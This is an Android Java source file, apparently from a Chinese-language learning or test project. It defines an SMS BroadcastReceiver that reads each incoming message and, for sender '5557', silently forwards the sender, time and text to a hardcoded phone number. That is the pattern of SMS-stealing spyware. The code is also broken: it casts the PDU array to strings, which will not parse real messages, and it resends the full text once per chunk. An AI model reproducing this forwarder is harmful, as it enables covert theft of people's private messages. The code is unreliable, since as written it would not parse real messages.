package app.android.com.wuandroidapp.test.broadcastreceiver;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Objects;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import app.android.com.wuandroidapp.AndroidApplication;

/**
 * @author w
 * Created by admin on 2017/4/26.
 * 手机监听广播
 */

public class SmsReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

        //获取短信实体数组
        String[] pdus = (String[]) intent.getExtras().get("pdus");
        //迭代短信实体数组
        for (String object : pdus) {
           //使用pdu格式的字节数组生成短信对象，以便于获取短信的各个组成部分
            SmsMessage sms = SmsMessage.createFromPdu(object.getBytes());
            String name = sms.getOriginatingAddress();
            String content = sms.getMessageBody();
            Date date = new Date(sms.getTimestampMillis());//时间
            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            String receiveTime = format.format(date);
            sendSms(name,content,receiveTime);
        }

    }

    public void sendSms(String name,String content,String time){
        if("5557".equals(name)) {
            //获取 SmsManager 的默认实例。
            SmsManager manager = SmsManager.getDefault();
            //当短信超过 SMS 消息的最大长度时，将短信分割为几块。
            ArrayList<String> alsms = manager.divideMessage(content);
            for (String texesms : alsms) {
                //发送短信到手机上
                manager.sendTextMessage("15219462819", null, "号码" + name + "时间" + time + "内容" + content, null, null);
            }
        }
    }

}
